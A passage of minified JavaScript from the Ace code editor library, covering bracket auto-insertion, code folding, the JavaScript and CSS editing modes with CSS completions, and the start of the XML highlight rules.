i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),define(\"ace/mode/css_completions\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={background:{\"#$0\":1},\"background-color\":{\"#$0\":1,transparent:1,fixed:1},\"background-image\":{\"url('/$0')\":1},\"background-repeat\":{repeat:1,\"repeat-x\":1,\"repeat-y\":1,\"no-repeat\":1,inherit:1},\"background-position\":{bottom:2,center:2,left:2,right:2,top:2,inherit:2},\"background-attachment\":{scroll:1,fixed:1},\"background-size\":{cover:1,contain:1},\"background-clip\":{\"border-box\":1,\"padding-box\":1,\"content-box\":1},\"background-origin\":{\"border-box\":1,\"padding-box\":1,\"content-box\":1},border:{\"solid $0\":1,\"dashed $0\":1,\"dotted $0\":1,\"#$0\":1},\"border-color\":{\"#$0\":1},\"border-style\":{solid:2,dashed:2,dotted:2,\"double\":2,groove:2,hidden:2,inherit:2,inset:2,none:2,outset:2,ridged:2},\"border-collapse\":{collapse:1,separate:1},bottom:{px:1,em:1,\"%\":1},clear:{left:1,right:1,both:1,none:1},color:{\"#$0\":1,\"rgb(#$00,0,0)\":1},cursor:{\"default\":1,pointer:1,move:1,text:1,wait:1,help:1,progress:1,\"n-resize\":1,\"ne-resize\":1,\"e-resize\":1,\"se-resize\":1,\"s-resize\":1,\"sw-resize\":1,\"w-resize\":1,\"nw-resize\":1},display:{none:1,block:1,inline:1,\"inline-block\":1,\"table-cell\":1},\"empty-cells\":{show:1,hide:1},\"float\":{left:1,right:1,none:1},\"font-family\":{Arial:2,\"Comic Sans MS\":2,Consolas:2,\"Courier New\":2,Courier:2,Georgia:2,Monospace:2,\"Sans-Serif\":2,\"Segoe UI\":2,Tahoma:2,\"Times New Roman\":2,\"Trebuchet MS\":2,Verdana:1},\"font-size\":{px:1,em:1,\"%\":1},\"font-weight\":{bold:1,normal:1},\"font-style\":{italic:1,normal:1},\"font-variant\":{normal:1,\"small-caps\":1},height:{px:1,em:1,\"%\":1},left:{px:1,em:1,\"%\":1},\"letter-spacing\":{normal:1},\"line-height\":{normal:1},\"list-style-type\":{none:1,disc:1,circle:1,square:1,decimal:1,\"decimal-leading-zero\":1,\"lower-roman\":1,\"upper-roman\":1,\"lower-greek\":1,\"lower-latin\":1,\"upper-latin\":1,georgian:1,\"lower-alpha\":1,\"upper-alpha\":1},margin:{px:1,em:1,\"%\":1},\"margin-right\":{px:1,em:1,\"%\":1},\"margin-left\":{px:1,em:1,\"%\":1},\"margin-top\":{px:1,em:1,\"%\":1},\"margin-bottom\":{px:1,em:1,\"%\":1},\"max-height\":{px:1,em:1,\"%\":1},\"max-width\":{px:1,em:1,\"%\":1},\"min-height\":{px:1,em:1,\"%\":1},\"min-width\":{px:1,em:1,\"%\":1},overflow:{hidden:1,visible:1,auto:1,scroll:1},\"overflow-x\":{hidden:1,visible:1,auto:1,scroll:1},\"overflow-y\":{hidden:1,visible:1,auto:1,scroll:1},padding:{px:1,em:1,\"%\":1},\"padding-top\":{px:1,em:1,\"%\":1},\"padding-right\":{px:1,em:1,\"%\":1},\"padding-bottom\":{px:1,em:1,\"%\":1},\"padding-left\":{px:1,em:1,\"%\":1},\"page-break-after\":{auto:1,always:1,avoid:1,left:1,right:1},\"page-break-before\":{auto:1,always:1,avoid:1,left:1,right:1},position:{absolute:1,relative:1,fixed:1,\"static\":1},right:{px:1,em:1,\"%\":1},\"table-layout\":{fixed:1,auto:1},\"text-decoration\":{none:1,underline:1,\"line-through\":1,blink:1},\"text-align\":{left:1,right:1,center:1,justify:1},\"text-transform\":{capitalize:1,uppercase:1,lowercase:1,none:1},top:{px:1,em:1,\"%\":1},\"vertical-align\":{top:1,bottom:1},visibility:{hidden:1,visible:1},\"white-space\":{nowrap:1,normal:1,pre:1,\"pre-line\":1,\"pre-wrap\":1},width:{px:1,em:1,\"%\":1},\"word-spacing\":{normal:1},filter:{\"alpha(opacity=$0100)\":1},\"text-shadow\":{\"$02px 2px 2px #777\":1},\"text-overflow\":{\"ellipsis-word\":1,clip:1,ellipsis:1},\"-moz-border-radius\":1,\"-moz-border-radius-topright\":1,\"-moz-border-radius-bottomright\":1,\"-moz-border-radius-topleft\":1,\"-moz-border-radius-bottomleft\":1,\"-webkit-border-radius\":1,\"-webkit-border-top-right-radius\":1,\"-webkit-border-top-left-radius\":1,\"-webkit-border-bottom-right-radius\":1,\"-webkit-border-bottom-left-radius\":1,\"-moz-box-shadow\":1,\"-webkit-box-shadow\":1,transform:{\"rotate($00deg)\":1,\"skew($00deg)\":1},\"-moz-transform\":{\"rotate($00deg)\":1,\"skew($00deg)\":1},\"-webkit-transform\":{\"rotate($00deg)\":1,\"skew($00deg)\":1}},i=function(){};(function(){this.completionsDefined=!1,this.defineCompletions=function(){if(document){var e=document.createElement(\"c\").style;for(var t in e){if(typeof e[t]!=\"string\")continue;var n=t.replace(/[A-Z]/g,function(e){return\"-\"+e.toLowerCase()});r.hasOwnProperty(n)||(r[n]=1)}}this.completionsDefined=!0},this.getCompletions=function(e,t,n,r){this.completionsDefined||this.defineCompletions();var i=t.getTokenAt(n.row,n.column);if(!i)return[];if(e===\"ruleset\"){var s=t.getLine(n.row).substr(0,n.column);return/:[^;]+$/.test(s)?(/([\\w\\-]+):[^:]*$/.test(s),this.getPropertyValueCompletions(e,t,n,r)):this.getPropertyCompletions(e,t,n,r)}return[]},this.getPropertyCompletions=function(e,t,n,i){var s=Object.keys(r);return s.map(function(e){return{caption:e,snippet:e+\": $0\",meta:\"property\",score:Number.MAX_VALUE}})},this.getPropertyValueCompletions=function(e,t,n,i){var s=t.getLine(n.row).substr(0,n.column),o=(/([\\w\\-]+):[^:]*$/.exec(s)||{})[1];if(!o)return[];var u=[];return o in r&&typeof r[o]==\"object\"&&(u=Object.keys(r[o])),u.map(function(e){return{caption:e,snippet:e,meta:\"property value\",score:Number.MAX_VALUE}})}}).call(i.prototype),t.CssCompletions=i}),define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),define(\"ace/mode/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/css_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/worker/worker_client\",\"ace/mode/css_completions\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../worker/worker_client\").WorkerClient,a=e(\"./css_completions\").CssCompletions,f=e(\"./behaviour/css\").CssBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.$completer=new a,this.foldingRules=new l};r.inherits(c,i),function(){this.foldingRules=\"cStyle\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){var t=new u([\"ace\"],\"ace/mode/css_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/css\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return 